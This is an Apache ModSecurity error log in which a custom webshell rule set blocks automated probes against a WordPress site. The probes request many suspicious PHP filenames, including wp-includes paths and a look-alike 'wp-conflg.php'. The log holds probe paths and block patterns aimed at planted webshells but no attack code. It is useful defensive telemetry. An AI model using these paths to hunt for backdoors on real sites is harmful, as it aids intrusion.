[Thu Feb 26 22:24:56.817574 2026] [:error] [pid 54991:tid 55024] [client 4.194.131.131:2431] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aaBXuN4Zx-mJ8gbRB2j-VgAAAEQ"]
[Thu Feb 26 22:24:57.020927 2026] [:error] [pid 3883:tid 3895] [client 4.194.131.131:2872] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aaBXueA33x90V6yYHaj2dAAAAUk"]
[Thu Feb 26 22:24:57.220869 2026] [:error] [pid 54991:tid 55022] [client 4.194.131.131:2353] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx1.php"] [unique_id "aaBXud4Zx-mJ8gbRB2j-WAAAAEI"]
[Thu Feb 26 22:24:57.451037 2026] [:error] [pid 54991:tid 55029] [client 4.194.131.131:2870] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx1.php"] [unique_id "aaBXud4Zx-mJ8gbRB2j-WQAAAEk"]
[Thu Feb 26 22:24:57.709603 2026] [:error] [pid 3883:tid 3910] [client 4.194.131.131:2366] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx1.php"] [unique_id "aaBXueA33x90V6yYHaj2dwAAAVg"]
[Thu Feb 26 22:24:57.741283 2026] [:error] [pid 54991:tid 55020] [client 20.151.107.14:62963] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aaBXud4Zx-mJ8gbRB2j-WgAAAEA"]
[Thu Feb 26 22:24:57.941522 2026] [:error] [pid 3883:tid 3887] [client 4.194.131.131:2712] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx1.php"] [unique_id "aaBXueA33x90V6yYHaj2ewAAAUE"]
[Thu Feb 26 22:24:58.123912 2026] [:error] [pid 25311:tid 25333] [client 4.194.131.131:2869] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aaBXutfdM__yZAgJFSvrzgAAAZM"]
[Thu Feb 26 22:24:58.335292 2026] [:error] [pid 20419:tid 20425] [client 4.194.131.131:2336] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aaBXuu3DVDvMfTYYUBVoTwAAAcM"]
[Thu Feb 26 22:24:58.528627 2026] [:error] [pid 20419:tid 20446] [client 4.194.131.131:2395] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aaBXuu3DVDvMfTYYUBVoUgAAAdg"]
[Thu Feb 26 22:24:58.708764 2026] [:error] [pid 44444:tid 44466] [client 4.194.131.131:2347] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aaBXum2sMNmj-yekUk1NygAAAhA"]
[Thu Feb 26 22:24:58.907257 2026] [:error] [pid 55618:tid 55643] [client 4.194.131.131:2403] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aaBXuh61Vrh12f_8oWQUpwAAARY"]
[Thu Feb 26 22:24:59.006891 2026] [:error] [pid 20419:tid 20437] [client 20.151.107.14:62858] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/about.php"] [unique_id "aaBXu-3DVDvMfTYYUBVoVQAAAc8"]
[Thu Feb 26 22:24:59.179327 2026] [:error] [pid 25311:tid 25328] [client 4.194.131.131:2878] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aaBXu9fdM__yZAgJFSvrzwAAAY4"]
[Thu Feb 26 22:24:59.390496 2026] [:error] [pid 20419:tid 20443] [client 4.194.131.131:2833] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aaBXu-3DVDvMfTYYUBVoWAAAAdU"]
[Thu Feb 26 22:24:59.570145 2026] [:error] [pid 54991:tid 55036] [client 4.194.131.131:2701] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aaBXu94Zx-mJ8gbRB2j-XgAAAFA"]
[Thu Feb 26 22:24:59.788599 2026] [:error] [pid 54991:tid 55038] [client 4.194.131.131:2842] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aaBXu94Zx-mJ8gbRB2j-YQAAAFI"]
[Thu Feb 26 22:25:00.032001 2026] [:error] [pid 55051:tid 55067] [client 4.194.131.131:2733] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aaBXvAmK1w2kZvh5eLHP8QAAAI0"]
[Thu Feb 26 22:25:00.267905 2026] [:error] [pid 55051:tid 55062] [client 4.194.131.131:2874] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aaBXvAmK1w2kZvh5eLHP8gAAAIg"]
[Thu Feb 26 22:25:00.444496 2026] [:error] [pid 54991:tid 55039] [client 4.194.131.131:2371] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aaBXvN4Zx-mJ8gbRB2j-YwAAAFM"]
[Thu Feb 26 22:25:00.628052 2026] [:error] [pid 25311:tid 25322] [client 4.194.131.131:2730] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aaBXvNfdM__yZAgJFSvr0AAAAYg"]
[Thu Feb 26 22:25:00.829439 2026] [:error] [pid 54990:tid 54994] [client 4.194.131.131:2826] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aaBXvHtr2qmt_mBhH2wvQgAAAAE"]
[Thu Feb 26 22:25:01.011330 2026] [:error] [pid 54991:tid 55034] [client 4.194.131.131:2306] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aaBXvd4Zx-mJ8gbRB2j-aQAAAE4"]
[Thu Feb 26 22:25:01.187203 2026] [:error] [pid 55051:tid 55076] [client 4.194.131.131:2719] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aaBXvQmK1w2kZvh5eLHP8wAAAJY"]
[Thu Feb 26 22:25:01.363259 2026] [:error] [pid 3883:tid 3890] [client 4.194.131.131:2751] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aaBXveA33x90V6yYHaj2fQAAAUQ"]
[Thu Feb 26 22:25:01.544633 2026] [:error] [pid 54991:tid 55022] [client 4.194.131.131:2368] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aaBXvd4Zx-mJ8gbRB2j-bAAAAEI"]
[Thu Feb 26 22:25:01.751069 2026] [:error] [pid 3883:tid 3905] [client 4.194.131.131:2376] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aaBXveA33x90V6yYHaj2gAAAAVM"]
[Thu Feb 26 22:25:01.939206 2026] [:error] [pid 44444:tid 44460] [client 4.194.131.131:2862] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aaBXvW2sMNmj-yekUk1N0gAAAgo"]
[Thu Feb 26 22:25:02.145288 2026] [:error] [pid 54991:tid 55032] [client 4.194.131.131:2858] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aaBXvt4Zx-mJ8gbRB2j-cAAAAEw"]
[Thu Feb 26 22:25:02.342191 2026] [:error] [pid 54991:tid 55040] [client 4.194.131.131:2414] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aaBXvt4Zx-mJ8gbRB2j-cwAAAFQ"]
[Thu Feb 26 22:25:02.516274 2026] [:error] [pid 54991:tid 55043] [client 4.194.131.131:2856] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aaBXvt4Zx-mJ8gbRB2j-dQAAAFc"]
[Thu Feb 26 22:25:02.715348 2026] [:error] [pid 54991:tid 55037] [client 4.194.131.131:2717] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aaBXvt4Zx-mJ8gbRB2j-eAAAAFE"]
[Thu Feb 26 22:25:02.911949 2026] [:error] [pid 25311:tid 25315] [client 4.194.131.131:2408] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aaBXvtfdM__yZAgJFSvr0wAAAYE"]
[Thu Feb 26 22:25:03.103325 2026] [:error] [pid 54991:tid 55025] [client 4.194.131.131:2873] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aaBXv94Zx-mJ8gbRB2j-ewAAAEU"]
[Thu Feb 26 22:25:03.291284 2026] [:error] [pid 55051:tid 55069] [client 4.194.131.131:2402] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aaBXvwmK1w2kZvh5eLHP9wAAAI8"]
[Thu Feb 26 22:25:03.470238 2026] [:error] [pid 25311:tid 25331] [client 4.194.131.131:3052] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aaBXv9fdM__yZAgJFSvr1gAAAZE"]
[Thu Feb 26 22:25:03.653242 2026] [:error] [pid 25311:tid 25327] [client 4.194.131.131:2704] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aaBXv9fdM__yZAgJFSvr1wAAAY0"]
[Thu Feb 26 22:25:03.869578 2026] [:error] [pid 55051:tid 55061] [client 4.194.131.131:2374] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aaBXvwmK1w2kZvh5eLHP-QAAAIc"]
[Thu Feb 26 22:25:04.060462 2026] [:error] [pid 55051:tid 55071] [client 4.194.131.131:2691] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aaBXwAmK1w2kZvh5eLHP-gAAAJE"]
[Thu Feb 26 22:25:04.235218 2026] [:error] [pid 54990:tid 55015] [client 4.194.131.131:2394] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gtc.php"] [unique_id "aaBXwHtr2qmt_mBhH2wvRwAAABY"]
[Thu Feb 26 22:25:04.409133 2026] [:error] [pid 55051:tid 55059] [client 4.194.131.131:2369] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atx.php"] [unique_id "aaBXwAmK1w2kZvh5eLHP_QAAAIU"]
[Thu Feb 26 22:25:04.594298 2026] [:error] [pid 55618:tid 55623] [client 4.194.131.131:2716] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atx.php"] [unique_id "aaBXwB61Vrh12f_8oWQUrQAAAQI"]
[Thu Feb 26 22:25:04.813704 2026] [:error] [pid 20419:tid 20441] [client 4.194.131.131:2419] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atx.php"] [unique_id "aaBXwO3DVDvMfTYYUBVoXwAAAdM"]
[Thu Feb 26 22:25:05.058015 2026] [:error] [pid 55618:tid 55629] [client 4.194.131.131:2822] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atx.php"] [unique_id "aaBXwR61Vrh12f_8oWQUrgAAAQg"]
[Thu Feb 26 22:25:05.239860 2026] [:error] [pid 25311:tid 25314] [client 4.194.131.131:3009] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aaBXwdfdM__yZAgJFSvr2gAAAYA"]
[Thu Feb 26 22:25:05.424188 2026] [:error] [pid 20419:tid 20427] [client 4.194.131.131:2695] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aaBXwe3DVDvMfTYYUBVoYgAAAcU"]
[Thu Feb 26 22:25:05.642842 2026] [:error] [pid 25311:tid 25335] [client 4.194.131.131:2739] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aaBXwdfdM__yZAgJFSvr3AAAAZU"]
[Thu Feb 26 22:25:05.879936 2026] [:error] [pid 54991:tid 55044] [client 4.194.131.131:2844] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aaBXwd4Zx-mJ8gbRB2j-ggAAAFg"]
[Thu Feb 26 22:25:06.065921 2026] [:error] [pid 55122:tid 55145] [client 4.194.131.131:2735] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aaBXwoLiR0OfjFxvcN82SwAAANU"]
[Thu Feb 26 22:25:06.254386 2026] [:error] [pid 55122:tid 55124] [client 4.194.131.131:2828] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aaBXwoLiR0OfjFxvcN82TQAAAMA"]
[Thu Feb 26 22:25:06.430119 2026] [:error] [pid 54991:tid 55020] [client 4.194.131.131:2699] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aaBXwt4Zx-mJ8gbRB2j-hQAAAEA"]
[Thu Feb 26 22:25:06.624288 2026] [:error] [pid 55618:tid 55621] [client 4.194.131.131:2405] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aaBXwh61Vrh12f_8oWQUsgAAAQA"]
[Thu Feb 26 22:25:06.807231 2026] [:error] [pid 20419:tid 20433] [client 4.194.131.131:2703] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aaBXwu3DVDvMfTYYUBVoZwAAAcs"]
[Thu Feb 26 22:25:07.022200 2026] [:error] [pid 44444:tid 44464] [client 4.194.131.131:2418] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aaBXw22sMNmj-yekUk1N2gAAAg4"]
[Thu Feb 26 22:25:07.198567 2026] [:error] [pid 55051:tid 55069] [client 4.194.131.131:2742] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aaBXwwmK1w2kZvh5eLHQBwAAAI8"]
[Thu Feb 26 22:25:07.393983 2026] [:error] [pid 55051:tid 55060] [client 4.194.131.131:2372] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aaBXwwmK1w2kZvh5eLHQCgAAAIY"]
